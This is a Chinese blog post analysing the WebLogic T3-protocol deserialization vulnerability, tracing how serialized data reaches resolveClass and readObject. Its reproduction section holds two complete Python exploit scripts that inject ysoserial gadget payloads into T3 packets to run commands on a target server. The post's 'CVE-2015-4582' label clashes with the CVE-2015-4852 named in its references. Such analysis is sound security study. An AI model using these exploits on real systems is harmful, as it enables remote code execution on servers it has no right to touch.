devbox
我家自动化
这个屌丝很懒，什么也没留下！
关注作者
热门标签
热门文章
当前位置:   article > 正文

weblogic反序列化之T3协议

作者：我家自动化 | 2024-04-19 08:09:13

赞

踩

t3协议

前言

weblogic 的反序列化漏洞分为两种 ，一种是基于T3 协议的反序列化漏洞，一个是基于XML的反序列化漏洞，这篇来分析一下基于T3 协议的反序列化漏洞，本文参考了很多师傅的文章，我会贴在最后面。

环境搭建：

[JAVA安全]weblogic反序列化介绍及环境搭建_snowlyzz的博客-CSDN博客

https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

 mirrors / angelwhu / ysoserial · GitCode

T3协议

RMI 通信时会将数据进行序列化后传输，同样的接收数据后反序列化进行接收，正常RMI通信使用的是JRMP协议，而在Weblogic的RMI通信中使用的是T3协议，T3是weblogic独有的一个协议，相比于JRMP多了如下协议：

  • 服务端可以持续追踪监控客户端是否存活（心跳机制），通常心跳的间隔为60秒，服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
  • 通过建立一次连接可以将全部数据包传输完成，优化了数据包大小和网络消耗。
     

结构

主要包含请求头和请求主体这两部分，总共分为七个部分，第一部分是协议头，也就是请求包头，后面2-7都是请求主题(这图叠buff了)：

从流量到对象：

借用师傅的一张图

 weblogic 通过7001端口，获取到流量钟的T3协议的反序列化数据，他会从图钟的readObject开始，经过一系列的操作，终于在上图的流程终点的 resolveProxyclass 或者是 resolveClass 处将流量钟的代理类 / 类类型的字节转变为了对应的class对象。

在ObjcetInputStream 钟的readClassDesc 方法，存在两个路径，也就是分叉点，导致了序列化的流量流向了两个不同的分支，其中一些流量流向了readProxyDesc 并最终采用resolveProxyClass获取类对象，而另一些则流向了readNonProxyDesc并最终使用resolveClass获取类对象。

readClassDesc

看名字就知道，desc是描述，readClassDesc的功能很简单，读入字节流，通过读取字节流钟的描述符来确定字节流钟传递的数据类型，并交给对应的方法处理。

看下readClassDesc的实现：

  1. private ObjectStreamClass readClassDesc(boolean unshared) 
  2.     throws IOException 
  3.     {
  4.     byte tc = bin.peekByte();
  5.     switch (tc) {
  6.         case TC_NULL:
  7.         return (ObjectStreamClass) readNull();
  8.  
  9.         case TC_REFERENCE:
  10.         return (ObjectStreamClass) readHandle(unshared);
  11.  
  12.         case TC_PROXYCLASSDESC:
  13.         return readProxyDesc(unshared);
  14.  
  15.         case TC_CLASSDESC:
  16.         return readNonProxyDesc(unshared);
  17.  
  18.         default:
  19.         throw new StreamCorruptedException(
  20.             String.format("invalid type code: %02X", tc));
  21.     }
  22.     }

从 readClassDesc 方法 的实现可见，readClassDesc 钟switch 语句中有5个分支 ：

  1. TC_NULL描述符表示空对象引用
  2.  
  3. TC_REFERENCE描述符表示引用已写入流的对象
  4.  
  5. TC_PROXYCLASSDESC是新的代理类描述符
  6.  
  7. TC_CLASSDESC是新的类描述符

TC_PROXYCLASSDESC  与 TC_CLASSDESC描述符 标识了流量中代理类与类这两种类型的数据，因此我们重点关注TC_PROXYCLASSDESC 与 TC_CLASSDESC 这两个分支，也是上文流程图里只有这两处分支的原因，

当readClassDesc从字节流中读取到TC_CLASSDESC描述符，说明此处程序此时要处理的字节流为普通类，程序接下来会调用readNonProxyDesc方法对这段字节流进行解析。

在readNonProxyDesc方法中，程序会从该段序列化流中获取类的序列化描述符ObjectStreamClass（类序列化描述符ObjectStreamClass，其本质是对Class类的包装，可以想象成一个字典，里面记录了类序列化时的一些信息，包括字段的描述信息和serialVersionUID 和需要序列化的字段fields，以便在反序列化时拿出来使用）。随后该类的序列化描述符被传递给resolveClass方法，resolveClass方法从该类的序列化描述符中获取对应的Class对象。

当readClassDesc 从字节流中读取到  TC_PROXYCLASSDESC 描述符时，说明此处程序此时要处理的字节流为动态代理类，程序接下来会调用readProxydesc方法进行处理 过程与上面的流程一致。

当我们以此处传入的字节流为普通类为例，接下来看看resovleCLass是如何将类的序列化描述符加工成该类的class对象。

weblogic/rjvm/InboundMsgAbbrev.class中的resolveClass方法

 

  1.         protected Class resolveClass(ObjectStreamClass var1) throws ClassNotFoundException, IOException {
  2.             Class var2 = super.resolveClass(var1);
  3.             if (var2 == null) {
  4.                 throw new ClassNotFoundException("super.resolveClass returns null.");
  5.             } else {
  6.                 ObjectStreamClass var3 = ObjectStreamClass.lookup(var2);
  7.                 if (var3 != null && var3.getSerialVersionUID() != var1.getSerialVersionUID()) {
  8.                     throw new ClassNotFoundException("different serialVersionUID. local: " + var3.getSerialVersionUID() + " remote: " + var1.getSerialVersionUID());
  9.                 } else {
  10.                     return var2;
  11.                 }
  12.             }
  13.         }

程序通过 Class var2  = super.resolveClass(var1); 从 ObjectStreamClass var1中获取到对应的类对象，并赋值给var2，最终通过执行return var2，将var1序列化描述符所对应的Class对象返回

我们调试一下 这个resolveClass 方法：

可以看到 resolveClass 方法成功从序列化描述符中获取到 sun.reflect.annotation.AnnotationInvocationHandler”类对象，并将其返回

从CLass对象到代码执行

程序通过resolveClass获取Class对象，在resolveClass方法将获取到的Class对象返回后，上一级的readNonProxyDesc在接收到resolveClass方法返回值后，连同之前从流量中获取类的序列化描述符ObjectStreamClass一并，初始化并构建一个新的ObjectStreamClass，这个流程如下：

 调用栈：

 

关键代码如下

  1. private ObjectStreamClass readNonProxyDesc(boolean unshared) 
  2. throws IOException 
  3.    {
  4. ...
  5.  
  6. ObjectStreamClass desc = new ObjectStreamClass();
  7. ...
  8.  
  9. ObjectStreamClass readDesc = null;
  10. ...
  11.     readDesc = readClassDescriptor();
  12. ...
  13.  
  14. Class cl = null;
  15. ...
  16.     if ((cl = resolveClass(readDesc)) == null) {
  17.    resolveEx = new ClassNotFoundException("null class");
  18.     }
  19. ...
  20. desc.initNonProxy(readDesc, cl, resolveEx, readClassDesc(false));
  21.  
  22. ...
  23. return desc;
  24.    }

结合流程图与代码来看，readNonProxyDesc 方法中主要  做了如下事情：

  1. 通过 readClassDescriptor() 方法 从流量中获取序列化类的ObjectStreamClass 并 赋值给 readDesc 变量
  2. 将readDesc 传入 resolveClass，获取该类的Class对象并赋值给cl
  3. 将该类的 ObjectStreamClass 与 Class对象传入 initNonProxy 方法，初始化一个 ObjectStreamClass 并赋值给desc 变量
  4. 将 desc 变量返回

readNonProxyDesc方法中返回的ObjectStreamClass类型的desc变量，将会传递给readClassDesc，进而被readClassDesc传递给readOrdinaryObject

 因此 当 readNonProxyDesc中 ObjectStreamCLass 类型的desc 变量返回后，途径 readClassDesc方法的最红传给readOrdinaryObject中的desc变量。

接下来我们来看看readOrdinaryObject 中又做了什么处理

  1. ObjectStreamClass desc = readClassDesc(false);
  2. ...
  3.     obj = desc.isInstantiable() ? desc.newInstance() : null;
  4. ...
  5. if (desc.isExternalizable()) {
  6.     readExternalData((Externalizable) obj, desc);
  7. } else {
  8.     readSerialData(obj, desc);
  9. }
  10.  
  11. handles.finish(passHandle);
  12.  
  13. if (obj != null && 
  14.     handles.lookupException(passHandle) == null &&
  15.     desc.hasReadResolveMethod())
  16. {
  17.     Object rep = desc.invokeReadResolve(obj);

第一行

ObjectStreamClass desc = readClassDesc(false);

代码中由 readClassDesc(false)  得到的desc ，即是readNonProxyDesc 中获取并返回ObjectStreamClass类型的desc 

代码中 接下来 的条件分支，即是在获取了 ObjectStreamClass 类型的desc 后，readOrdinaryObject接着尝试调用类对象的 readObject 、readResolve、readExternal方法

 在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后，程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法。

CVE-2015-4582

请求包头：

T3协议在传输请求体之前都会先发送一个请求包到目标服务器，这个数据包的内容固定为：

t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

用python 试着发包：

  1. import requests
  2. import socket
  3.  
  4.  
  5. def T3Test(ip,port):
  6.     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  7.     sock.connect((ip, port))
  8.     handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
  9.     sock.sendall(handshake.encode())
  10.     while True:
  11.         data = sock.recv(1024)
  12.         print(data.decode())
  13.  
  14. if __name__ == "__main__":
  15.     ip = "你的公网ip"
  16.     port = 7001
  17.  
  18.     T3Test(ip,port)

返回信息如下，包含了一些版本信息

这里使用wireshark抓个包，网卡选用你的电脑网卡就好了，然后进行一个过滤：

 就能看到 用python发的包了。

然后在wireshark数据处右键 - 追踪流 - tcp流

 能看到 在HELO后面会返回一个版本号，这就是发这个请求报头的作用

请求主体

既然 1 是请求头部分， 而请求主体就是我们的 2-7 部分，这里我们发现都是 ac ed 00 05 开头，说明该内容是序列化的内容，而如果需要去构造payload 的化，需要在后面序列化的，进行一个替换。将原本存在的序列化内容替换成我们payload 的序列化内容，在传输完成后，进行反序列化达成攻击的目的，这里借用其他师傅的图

 这里提供两种攻击思路：

  1. 第一种生成方式为，将weblogic发送的JAVA序列化数据的第二到七部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
  2.  
  3. 第二种生成方式为，将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

漏洞复现

根据网上的exp

  1. import socket
  2. import sys
  3. import struct
  4. import re
  5. import subprocess
  6. import binascii
  7.  
  8. def get_payload1(gadget, command):
  9.     JAR_FILE = './ysoserial.jar'
  10.     popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
  11.     return popen.stdout.read()
  12.  
  13. def get_payload2(path):
  14.     with open(path, "rb") as f:
  15.         return f.read()
  16.  
  17. def exp(host, port, payload):
  18.     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  19.     sock.connect((host, port))
  20.  
  21.     handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
  22.     sock.sendall(handshake)
  23.     data = sock.recv(1024)
  24.     pattern = re.compile(r"HELO:(.*).false")
  25.     version = re.findall(pattern, data.decode())
  26.     if len(version) == 0:
  27.         print("Not Weblogic")
  28.         return
  29.  
  30.     print("Weblogic {}".format(version[0]))
  31.     data_len = binascii.a2b_hex(b"00000000") #数据包长度，先占位，后面会根据实际情况重新
  32.     t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
  33.     flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
  34.     payload = data_len + t3header + flag + payload
  35.     payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
  36.     sock.send(payload)
  37.  
  38. if __name__ == "__main__":
  39.     host = "192.168.__.__"
  40.     port = 7001
  41.     gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
  42.     command = "touch /tmp/success"
  43.  
  44.     payload = get_payload1(gadget, command)
  45.     exp(host, port, payload)
  1. from os import popen
  2. import struct # 负责大小端的转换
  3. import subprocess
  4. from sys import stdout
  5. import socket
  6. import re
  7. import binascii
  8.  
  9. def generatePayload(gadget,cmd):
  10.     YSO_PATH = "ysoserial.jar"
  11.     popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
  12.     return popen.stdout.read()
  13.  
  14. def T3Exploit(ip,port,payload):
  15.     sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  16.     sock.connect((ip,port))
  17.     handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
  18.     sock.sendall(handshake.encode())
  19.     data = sock.recv(1024)
  20.     compile = re.compile("HELO:(.*).0.false")
  21.     match = compile.findall(data.decode())
  22.     if match:
  23.         print("Weblogic: "+"".join(match))
  24.     else:
  25.         print("Not Weblogic")
  26.         #return
  27.     header = binascii.a2b_hex(b"00000000")
  28.     t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
  29.     desflag = binascii.a2b_hex(b"fe010000")
  30.     payload = header + t3header  +desflag+  payload
  31.     payload = struct.pack(">I",len(payload)) + payload[4:]
  32.     sock.send(payload)
  33.  
  34. if __name__ == "__main__":
  35.     ip = "192.168.__.__"
  36.     port = 7001
  37.     gadget = "CommonsCollections1"
  38.     cmd = "touch /tmp/success"
  39.     payload = generatePayload(gadget,cmd)
  40.     T3Exploit(ip,port,payload)

运行后

漏洞分析

来到入口处：

wlserver\server\lib\wlthint3client.jar!\weblogic\rjvm\InboundMsgAbbrev.class

调用了内部类  InboundMsgAbbrev.ServerChannelInputStream 的 readObject 方法

跟进查看一下 ServerChannelInputStream。

 这个内部类继承了 ObjectInputStream  重写了 resolveClass  方法 但是没有重写 readObject 方法，那么调用 本类的   ServerChannelInputStream#readObject 方法，实际上就是调用  ObjectInputStream#readObject 方法，并且这里的  ObjectInputStream#readObject 方法解析处理了我们经过 T3 协议 传递过来的数据且反序列化，从而造成了 命令执行

这里resolveClass，这里进入到父类的resolveClass

 

resolveClass是执行ObjectInputStream.readObject()前必经的一个方法，就是说在反序列化过程中，序列化的数据都会从resolveClass这个方法中经过一次，那如果这里再提到如何防护的话，我们很容易能想到在这里添加过滤，没错，在后面的cve都是在这里不断地绕过相应的白名单黑名单而产生的
 

参考文章：

从Weblogic原理上探究CVE-2015-4852、CVE-2016-0638、CVE-2016-3510究竟怎么一回事 - 先知社区 (aliyun.com)

weblogic反序列化之T3协议(CVE-2015-4582)_Ys3ter的博客-CSDN博客_cve-2015-4582

Java安全之初探weblogic T3协议漏洞 - nice_0e3 - 博客园 (cnblogs.com)

Weblogic12c T3 协议安全漫谈 - 知道创宇 (knownsec.com) 

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/我家自动化/article/detail/450732
推荐阅读
相关标签

Copyright © 2003-2013 www.wpsshop.cn 版权所有，并保留所有权利。

  

闽ICP备14008679号